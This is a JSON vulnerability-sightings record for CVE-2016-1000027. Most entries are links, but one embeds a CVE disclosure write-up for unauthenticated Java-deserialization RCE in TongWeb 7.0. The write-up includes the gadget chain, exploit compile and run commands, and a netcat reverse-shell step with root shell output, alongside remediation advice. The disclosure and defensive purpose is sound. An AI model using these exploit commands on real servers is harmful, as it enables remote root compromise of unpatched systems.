{"vulnerability": "cve-2016-1000027", "sightings": [{"uuid": "82788181-cd9d-4cb3-b3aa-9622fe693c42", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2016-1000027", "type": "seen", "source": "https://bsky.app/profile/msw.bsky.social/post/3lrexyicuzs2f", "content": "", "creation_timestamp": "2025-06-12T03:25:59.992687Z"}, {"uuid": "6be249c3-0281-4e1b-a03b-4e86d6ae41f8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2016-1000027", "type": "seen", "source": "https://bsky.app/profile/msw.bsky.social/post/3lreyahne4c2f", "content": "", "creation_timestamp": "2025-06-12T03:30:28.069382Z"}, {"uuid": "4e61728f-3142-48b8-a396-c222d56a9908", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2016-1000027", "type": "published-proof-of-concept", "source": "Telegram/3pBq5cR6IlqeDtmbK0wx8m04HXDRqV_g5yEoTFBTOYd5yjQ", "content": "", "creation_timestamp": "2026-01-07T03:00:06.000000Z"}, {"uuid": "2f7dddb4-bd8a-41a0-8029-0faa4a48d0b5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2016-1000027", "type": "seen", "source": "https://bsky.app/profile/o2cloud.bsky.social/post/3ml6w2j5p2y2b", "content": "\ud83d\udd17 CVE : CVE-2016-1000027, CVE-2024-12798, CVE-2026-23949, CVE-2026-24049, CVE-2026-27140, CVE-2026-32280, CVE-2026-32281, CVE-2026-32282, CVE-2026-32283, CVE-2026-32285, CVE-2026-32288, CVE-2026-32289, CVE-2026-33810, CVE-2026-34040, CVE-2026-39883", "creation_timestamp": "2026-05-06T14:30:22.332896Z"}, {"uuid": "083ba220-2a0d-4833-8718-bee76bf585d7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2016-1000027", "type": "seen", "source": "https://gist.github.com/loseyourself1/b3de4edf11994bb0a791e5f73bab421b", "content": "# TongWeb 7.0 \u2014 Unauthenticated Remote Code Execution via Java Deserialization\n\n> **CVE submission write-up & Proof of Concept**\n> *CWE-502: Deserialization of Untrusted Data*\n\n---\n\n## 1. Vulnerability Summary\n\n| Field | Value |\n|---|---|\n| **Title** | TongWeb 7.0 Unauthenticated Remote Code Execution via Java Deserialization (`HttpInvokerServiceExporter`) |\n| **Product** | TongWeb Application Server |\n| **Vendor** | TongTech (Beijing Tong Tech Co., Ltd.) \u2014 \u4e1c\u65b9\u901a |\n| **Affected Version** | TongWeb 7.0 (confirmed on build **7.0.24**; other 7.0.x builds are likely affected) |\n| **Vulnerability Type** | CWE-502: Deserialization of Untrusted Data |\n| **Impact** | Remote Code Execution (RCE) |\n| **Authentication Required** | **None** |\n| **Attack Vector** | Network (administration port, default TCP **9060**) |\n| **Attack Complexity** | Low |\n| **User Interaction** | None |\n| **Privileges Required** | None |\n| **CVSS v3.1 Base Score** | **9.8 (Critical)** |\n| **CVSS v3.1 Vector** | `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H` |\n\n---\n\n## 2. Description\n\nTongWeb 7.0 ships a Spring `HttpInvokerServiceExporter` endpoint exposed at\n`/console/service` and `/heimdall/service` on the administration port (default **9060**).\nThis endpoint deserializes a Java object directly from the HTTP request body via\n`ObjectInputStream.readObject()`, with **no authentication** and **no input validation**.\n\nAn unauthenticated, remote attacker can send a crafted serialized Java object to this\nendpoint and achieve **arbitrary operating-system command execution** running with the\nprivileges of the TongWeb process \u2014 typically **root**, because the administration server\nis normally started by the system account.\n\nThe vulnerability is reachable with a **single HTTP POST request** and requires no user\ninteraction.\n\n---\n\n## 3. Affected Endpoints\n\n| Endpoint | Web Application | Authentication |\n|---|---|---|\n| `POST /console/service` | `console` (management console) | **None** |\n| `POST /heimdall/service` | `heimdall` (cluster management) | **None** |\n\nBoth endpoints are explicitly excluded from authentication in `web.xml` via the\n`none-realm-resources` security constraint (see \u00a74.2). The `LoginFilter` only intercepts\n`/rest/*` and does not protect `/service`.\n\n---\n\n## 4. Root Cause Analysis\n\n### 4.1 Vulnerable Spring configuration (the *source*)\n\nFile: `applications/console/WEB-INF/classes/service-remotecall.xml`\n\n```xml\n\n    \n        \n    \n    \n\n\n\n    \n        \n            \n        \n    \n\n```\n\n`HttpInvokerServiceExporter` is Spring's HTTP remote-invocation exporter. Its\n`handleRequest()` method reads the raw HTTP request body into an `ObjectInputStream` and\ncalls `readObject()` \u2014 **before any type check is performed**:\n\n```java\n// org.springframework.remoting.httpinvoker.HttpInvokerServiceExporter\npublic void handleRequest(HttpServletRequest request, HttpServletResponse response) {\n    RemoteInvocation invocation = readRemoteInvocation(request);   // \u2190 deserialization\n    RemoteInvocationResult result = invokeAndCreateResult(invocation, getProxy());\n    writeRemoteInvocationResult(request, response, result);\n}\n\nprotected RemoteInvocation readRemoteInvocation(HttpServletRequest request) {\n    InputStream is = request.getInputStream();\n    ObjectInputStream ois = createObjectInputStream(is);   // new ObjectInputStream(body)\n    return doReadRemoteInvocation(ois);                    // ois.readObject()\n}\n```\n\nEven if the deserialized object is not a valid `RemoteInvocation`, the malicious code has\nalready executed during `readObject()`.\n\n### 4.2 Authentication bypass\n\nFile: `applications/console/WEB-INF/web.xml`\n\n```xml\n\n    \n        none-realm-resources\n        /service\n        \n    \n    \n\n```\n\nThe `/service` path is listed under `none-realm-resources` with **no** `auth-constraint`,\nso the endpoint is reachable without any credentials.\n\n### 4.3 The gadget chain (*the exploit path*)\n\nThe application classpath bundles `commons-beanutils-1.8.0.jar` (in\n`console/WEB-INF/consolejars/`), which enables the **CommonsBeanutils1 (CB1)** gadget\nchain. The chain avoids `InvokerTransformer` entirely (see \u00a74.4) and terminates in\narbitrary bytecode loading through JDK's built-in `TemplatesImpl`:\n\n```\nPriorityQueue.readObject()                          [Java standard library]\n  \u2514\u2500 PriorityQueue.heapify()\n       \u2514\u2500 PriorityQueue.siftDown()\n            \u2514\u2500 BeanComparator.compare(o1, o2)       [commons-beanutils 1.8.0]\n                 \u2514\u2500 PropertyUtils.getProperty(o1, \"outputProperties\")\n                      \u2514\u2500 TemplatesImpl.getOutputProperties()   [JDK built-in]\n                           \u2514\u2500 TemplatesImpl.newTransformer()\n                                \u2514\u2500 TemplatesImpl.getTransletInstance()\n                                     \u2514\u2500 TemplatesImpl.defineTransletClasses()\n                                          \u2514\u2500 ClassLoader.defineClass(evil bytecode)\n                                               \u2514\u2500 Evil.()  (static initializer)\n                                                    \u2514\u2500 Runtime.getRuntime().exec(cmd)  \u2192 RCE\n```\n\nThe payload is a `PriorityQueue` whose comparator is a\n`BeanComparator(\"outputProperties\", String.CASE_INSENSITIVE_ORDER)` and whose elements are\ntwo `TemplatesImpl` objects carrying attacker-controlled bytecode in their `_bytecodes`\nfield. When deserialized:\n\n1. `PriorityQueue.readObject()` rebuilds its heap and calls `comparator.compare()`.\n2. `BeanComparator` reflectively calls `getOutputProperties()` on the `TemplatesImpl`.\n3. `TemplatesImpl` compiles/loads the attacker bytecode via `defineClass`.\n4. The injected class's `static {}` initializer runs and calls\n   `Runtime.getRuntime().exec(new String[]{\"/bin/sh\",\"-c\", cmd})`.\n\n### 4.4 Why CommonsCollections chains (CC1\u2013CC7) do **not** work\n\nAlthough `commons-collections-3.2.1.jar` is present, the bundled copy has been **patched**\nto disable deserialization of `InvokerTransformer`:\n\n```\nHTTP Status 500 - java.lang.UnsupportedOperationException:\n    Deserialization of InvokerTransformer is disabled\n```\n\n```java\n// InvokerTransformer.readObject() (patched)\nprivate void readObject(ObjectInputStream is) {\n    throw new UnsupportedOperationException(\"Deserialization of InvokerTransformer is disabled\");\n}\n```\n\nAll classic CommonsCollections chains depend on `InvokerTransformer`, so they are not\nviable on this target. The CB1 chain bypasses this restriction by using `BeanComparator`\n(property-based reflection) and `TemplatesImpl` (bytecode loading) instead.\n\n---\n\n## 5. Impact\n\nAn unauthenticated attacker with network reachability to the TongWeb administration port\ncan:\n\n- Execute arbitrary operating-system commands (as **root** in typical deployments);\n- Read, write, and delete arbitrary files on the server;\n- Exfiltrate sensitive data and credentials;\n- Deploy backdoors, web shells, malware, or ransomware;\n- Pivot into the internal network.\n\nNo authentication, no user interaction, and no special conditions are required \u2014 the full\ncompromise is achieved with a single HTTP request.\n\n---\n\n## 6. Proof of Concept\n\n### 6.1 Prerequisites\n\n| Item | Requirement |\n|---|---|\n| JDK | **JDK 8** (payload must be generated/compiled with JDK 8 \u2014 higher versions produce `serialVersionUID`-incompatible objects) |\n| Dependencies | `commons-beanutils-1.8.0.jar`, `commons-collections-3.2.1.jar`, `commons-logging-1.1.3.jar` (obtainable from Maven Central, or copied from the TongWeb `console/WEB-INF/consolejars/` directory) |\n| Target OS | Linux (the reference payload uses `/bin/sh`; Alpine Linux is supported) |\n\n### 6.2 Reproduction environment (Docker)\n\nA minimal vulnerable environment is provided in `docker/`:\n\n```bash\n# Build (place the TongWeb 7.0 installation directory next to the Dockerfile first)\ncd docker\ndocker build -t tongweb-vuln .\ndocker run -d -p 9060:9060 --name tongweb tongweb-vuln\ndocker exec -d tongweb sh -c \"/myapp/TongWeb7.0/bin/startserver.sh\"\n```\n\nReference environment: Alpine Linux 3.9, OpenJDK 1.8.0_212, TongWeb 7.0 (build 7.0.24).\n\n### 6.3 Step 1 \u2014 Compile the exploit\n\n```bash\n# Linux / macOS\njavac -encoding UTF-8 -XDignore.symbol.file \\\n    -cp \"commons-beanutils-1.8.0.jar:commons-collections-3.2.1.jar:commons-logging-1.1.3.jar\" \\\n    TongWebExp.java\n```\n\n```cmd\n:: Windows\n\"C:\\Program Files\\java\\jdk-1.8\\bin\\javac\" -encoding UTF-8 -XDignore.symbol.file ^\n    -cp \"commons-beanutils-1.8.0.jar;commons-collections-3.2.1.jar;commons-logging-1.1.3.jar\" ^\n    TongWebExp.java\n```\n\n### 6.4 Step 2 \u2014 Confirm the deserialization endpoint (non-destructive)\n\nSend 4 bytes of garbage (`test`) to the endpoint. If it is deserializing the request body,\nit responds with a serialization error whose message contains the hex of \"test\":\n\n```bash\ncurl -v -X POST http://:9060/console/service \\\n     -H \"Content-Type: application/x-java-serialized-object\" \\\n     -d \"test\"\n```\n\nExpected response:\n\n```\nHTTP Status 500 - invalid stream header: 74657374\njava.io.StreamCorruptedException: invalid stream header: 74657374\n    java.io.ObjectInputStream.readStreamHeader(...)\n    org.springframework.remoting.rmi.RemoteInvocationSerializingExporter.doReadRemoteInvocation(...)\n```\n\n`74657374` is the hex of `test`. This proves the server is running `readObject()` on the\nrequest body. A batch, non-destructive detector is provided (`tongweb_poc.py`), as is a\nJRMP-based out-of-band confirmation tool (`TongWebVerify.java`) that makes the target\ninitiate a TCP connection back to a listener, proving deserialization fires.\n\n### 6.5 Step 3 \u2014 Execute a command\n\n```bash\njava -cp \"commons-beanutils-1.8.0.jar:commons-collections-3.2.1.jar:commons-logging-1.1.3.jar:.\" \\\n    TongWebExp http://:9060 \"touch /tmp/pwned\"\n```\n\nExpected output:\n\n```\n[*] cmd: touch /tmp/pwned  payload: 1425 bytes\n[*] http://:9060/console/service => HTTP 500 (500=normal, command executed)\n[*] http://:9060/heimdall/service => HTTP 500\n```\n\n> **Note on the HTTP 500 response.** A `500` is **expected** and indicates success. The\n> command runs during the class-loading stage of deserialization; the subsequent exception\n> is thrown only because the injected class is not a valid XSLT translet. The command has\n> already executed by that point.\n\n### 6.6 Step 4 \u2014 Verify execution\n\n```bash\ndocker exec  sh -c \"ls -la /tmp/pwned\"\n# -rw-r--r--    1 root     root     0 Apr 21 09:35 /tmp/pwned\n```\n\n### 6.7 Step 5 \u2014 Reverse shell (optional)\n\nStart a listener on the attacker machine:\n\n```bash\nnc -lvp 4444\n```\n\nSend the reverse-shell payload (Alpine/busybox `nc` uses `-e`; `/dev/tcp` is not\navailable under `ash`):\n\n```bash\njava -cp \"commons-beanutils-1.8.0.jar:commons-collections-3.2.1.jar:commons-logging-1.1.3.jar:.\" \\\n    TongWebExp http://:9060 \"nc  4444 -e /bin/sh\"\n```\n\nThe listener receives a shell:\n\n```\nconnect to [] from [] ...\nid\nuid=0(root) gid=0(root)\n```\n\n### 6.8 Verified results\n\n```\n$ java ... TongWebExp http://127.0.0.1:9060 \"touch /tmp/lzt\"\n[*] cmd: touch /tmp/lzt  payload: 1425 bytes\n[*] http://127.0.0.1:9060/console/service => HTTP 500\n\n$ docker exec  sh -c \"ls -la /tmp/lzt\"\n-rw-r--r--    1 root     root     0 Apr 21 09:35 /tmp/lzt\n```\n\n---\n\n## 7. Files to Upload\n\nThe following is the complete, minimal PoC package for the submission. Upload the\n**source files** and the Docker environment \u2014 do **not** upload compiled `.class` files,\nbinary payloads (`.bin`), or third-party JARs.\n\n### 7.1 Upload these files\n\n| # | File | Purpose |\n|---|---|---|\n| 1 | `README.md` | This write-up (the CVE submission document) |\n| 2 | `TongWebExp.java` | **Main exploit** \u2014 self-contained CB1-NoCC exploit (hand-crafted bytecode, no javassist dependency) |\n| 3 | `TongWebVerify.java` | Out-of-band deserialization confirmation via JRMP client (target connects back) |\n| 4 | `tongweb_poc.py` | Batch, non-destructive detector (sends `test`, checks for `invalid stream header`) |\n| 5 | `tongweb_rce.bat` | Interactive Windows helper (menu-driven command execution / reverse shell) |\n| 6 | `docker/Dockerfile` | Vulnerable reproduction environment |\n| 7 | `docker/README.md` | Environment setup instructions |\n\n### 7.2 Optional supplementary files (for reference)\n\n| File | Purpose |\n|---|---|\n| `GenCB1.java` | Standalone CB1 payload generator used during development |\n| `GenCC6.java` | CommonsCollections6 generator \u2014 **superseded** (fails on the patched target; provided only to document the CC-chain bypass research) |\n\n### 7.3 Do **not** upload\n\n| Item | Reason |\n|---|---|\n| `*.class` files | Compiled artifacts \u2014 the `.java` sources are sufficient |\n| `cb1.bin`, `cc6.bin` | Binary serialized payloads \u2014 regenerated from source |\n| `commons-beanutils-1.8.0.jar`, `commons-collections-3.2.1.jar`, `commons-logging-1.1.3.jar` | Third-party Apache Commons libraries \u2014 available on Maven Central; bundling adds licensing/legal surface |\n| `tongweb_exploit.py` | Uses the CC6/`InvokerTransformer` chain, which is blocked on this target \u2014 superseded by `TongWebExp.java` |\n| Any file containing real production IPs / hostnames | Not part of this CVE; leaking live targets is inappropriate |\n\n> **Before uploading `tongweb_rce.bat`**, replace the hard-coded local paths (e.g.\n> `E:\\claudecode1\\...` and the WeChat-file source path) with relative/generic paths so the\n> script does not disclose the researcher's local environment.\n\n### 7.4 Dependency note\n\nThe three dependency JARs are **not** bundled. A reproducer obtains them by either:\n\n- Downloading from Maven Central:\n  - `commons-beanutils:commons-beanutils:1.8.0`\n  - `commons-collections:commons-collections:3.2.1`\n  - `commons-logging:commons-logging:1.1.3`\n- Copying them from the TongWeb installation at\n  `applications/console/WEB-INF/consolejars/`.\n\n---\n\n## 8. Remediation Recommendations\n\n1. **Remove or disable** the `/service` endpoint if remote invocation is not required.\n2. **Require authentication** by removing `/service` from `none-realm-resources` and\n   adding an `auth-constraint` to the security constraint.\n3. **Replace `HttpInvokerServiceExporter`** \u2014 Spring deprecated this class due to\n   inherent deserialization risk (see [Spring CVE-2016-1000027]).\n4. **Apply a deserialization filter** via `ObjectInputFilter` (JEP 290) to whitelist\n   acceptable classes.\n5. **Restrict network access** to the administration port (9060) with firewall/network\n   policies.\n6. **Upgrade** to a patched TongWeb release when available.\n\n---\n\n## 9. Timeline\n\n| Date | Event |\n|---|---|\n| 2026-04 | Vulnerability discovered during an authorized security assessment |\n| 2026-04 | Proof of concept developed and verified against a Docker reproduction environment |\n| TBD | Vendor (TongTech) notification |\n| TBD | CVE ID assigned |\n| TBD | Coordinated public disclosure |\n\n---\n\n## 10. References\n\n- [CWE-502: Deserialization of Untrusted Data](https://cwe.mitre.org/data/definitions/502.html)\n- [Spring Framework CVE-2016-1000027](https://spring.io/blog/2022/05/11/spring-framework-5-3-20-and-4-3-31-available-now)\n- [ysoserial \u2014 Java Deserialization Exploitation](https://github.com/frohoff/ysoserial)\n- [CommonsBeanutils1 Gadget Chain](https://blog.rubiya.kr/index.php/2019/01/09/commons-beanutils/)\n- [JEP 290: Filter Incoming Serialization Data](https://openjdk.org/jeps/290)\n\n---\n\n## 11. Disclaimer\n\nThis vulnerability was discovered and documented during an **authorized security\nassessment**. The proof of concept is provided solely for defensive, educational, and\ncoordinated-disclosure purposes. Unauthorized access to computer systems is illegal; use\nthis material only against systems you own or are explicitly authorized to test.\n", "creation_timestamp": "2026-08-21T14:08:36.686075Z"}]}